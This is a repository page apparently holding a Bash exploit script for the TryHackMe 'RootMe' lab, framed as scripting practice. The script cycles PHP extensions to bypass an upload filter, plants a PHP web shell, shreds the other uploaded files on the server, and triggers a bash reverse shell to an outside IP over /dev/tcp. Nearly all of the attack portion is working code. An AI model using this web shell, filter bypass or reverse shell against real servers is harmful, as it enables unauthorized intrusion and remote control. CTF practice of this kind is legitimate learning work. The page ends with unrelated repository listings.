DayuanJiang /
next-ai-draw-io
A next.js web application that integrates AI capabilities with draw.io diagrams. This app allows you to create, modify, and enhance diagrams through natural language commands and AI-assisted visualization.
Loading repository data…
kvlx-alt / repository
I created a Bash script to bypass file upload restrictions and gain a reverse shell on "RootMe" in TryHackMe. It tests various PHP file extensions and verifies server execution. This script helps me practice Bash scripting. Suggestions are welcome.
The purpose of this script is to practice scripting in bash and understand the techniques involved in bypassing file upload restrictions. It serves as a learning exercise and should only be used on authorized systems for educational purposes.
#!/bin/bash
# Colores
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
# Ctrl C
trap 'echo -e "\n\n${redColour}[!] Keyboard interruption detected. Terminating.${endColour}\n"; exit 1' INT
file_extension=(".php" ".php2" ".php3" ".php4" ".php5" ".php6" ".php7" ".phps" ".phps" ".pht" ".phtm" ".phtml" ".pgif" ".shtml" ".htaccess" ".phar" ".inc" ".hphp" ".ctp" ".module")
# let's create a file with some PHP code
php_code='<?php system($_GET["cmd"]); ?>'
for extension in "${file_extension[@]}"; do
echo "$php_code" > "cmd${extension}"
sleep 2
response=$(curl -s -F "fileUpload=@cmd${extension}" -F "submit=" "http://10.10.45.41/panel/")
if echo "$response" | grep -q "PHP não é permitido!"; then
echo -e "${yellowColour}[*]Checking file extension cmd${extension}${endColour}"
echo -e "${redColour}Sorry, you cannot upload this file${endColour}${yellowColour} >${endColour} ${purpleColour}cmd$extension.${endColour}"
else
echo -ne "\r${yellowColour}[*]Checking if the${endColour} ${redColour}whoami${endColour} ${yellowColour}commmand works with the following extension file cmd${extension}${endColour}"
check_cmd=$(curl -s "http://10.10.45.41/uploads/cmd${extension}?cmd=whoami")
if echo "$check_cmd" | grep -q "www-data"; then
echo -e "${redColour} [Yes] ${endColour}${purpleColour}$check_cmd${endColour}"
sleep 2
valid_extention="cmd${extension}"
echo -e "${yellowColour}[!]Delete invalid files on the server${endColour}"
sleep 3
echo -e "${yellowColour}[*]${endColour}${yellowColour}Success fully deleted.${endColour}"
echo -e "${yellowColour}[!]Please open another terminal and start listening to the reverse shell with the following command${endColour} ${redColour}nc -nlvp 5001${endColour}"
sleep 20
curl -s 'http://10.10.45.41/uploads/cmd${extension}?cmd=find%20.%20-maxdepth%201%20-type%20f%20-name%20%22cmd*%22%20%21%20-name%20"'$valid_extention'"%20-exec%20shred%20-u%20%7B%7D%20%5C%3B'
echo -e "${yellowColour}[*]triyng reverse shell${endColour}"
shell=$(echo -e "GET /uploads/cmd${extension}?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.39.16%2F5001%200%3E%261%27 HTTP/1.0\r\n\r\n" | nc 10.10.45.41 80)
break
fi
fi
rm "cmd${extension}"
done
Hey, follow me on LinkedIn!
Selected from shared topics, language and repository description—not editorial ratings.
DayuanJiang /
A next.js web application that integrates AI capabilities with draw.io diagrams. This app allows you to create, modify, and enhance diagrams through natural language commands and AI-assisted visualization.
invoke-ai /
Invoke is a leading creative engine for Stable Diffusion models, empowering professionals, artists, and enthusiasts to generate and create visual media using the latest AI-driven technologies. The solution offers an industry leading WebUI, and serves as the foundation for multiple commercial products.
sindresorhus /
Useful resources for creating apps with Electron [SUBMISSIONS ARE TEMPORARILY PAUSED BECAUSE I'M TIRED OF REVIEWING LOW-QUALITY STUFF]
ImageMagick /
ImageMagick is a free, open-source software suite for creating, editing, converting, and displaying images. It supports 200+ formats and offers powerful command-line tools and APIs for automation, scripting, and integration across platforms.
jamez-bondos /
Awesome curated collection of images and prompts generated by GPT-4o and gpt-image-1. Explore AI generated visuals created with ChatGPT and Sora, showcasing OpenAI’s advanced image generation capabilities.
borisbanushev /
In this noteboook I will create a complete process for predicting stock price movements. Follow along and we will achieve some pretty good results. For that purpose we will use a Generative Adversarial Network (GAN) with LSTM, a type of Recurrent Neural Network, as generator, and a Convolutional Neural Network, CNN, as a discriminator. We use LSTM for the obvious reason that we are trying to predict time series data. Why we use GAN and specifically CNN as a discriminator? That is a good question: there are special sections on that later.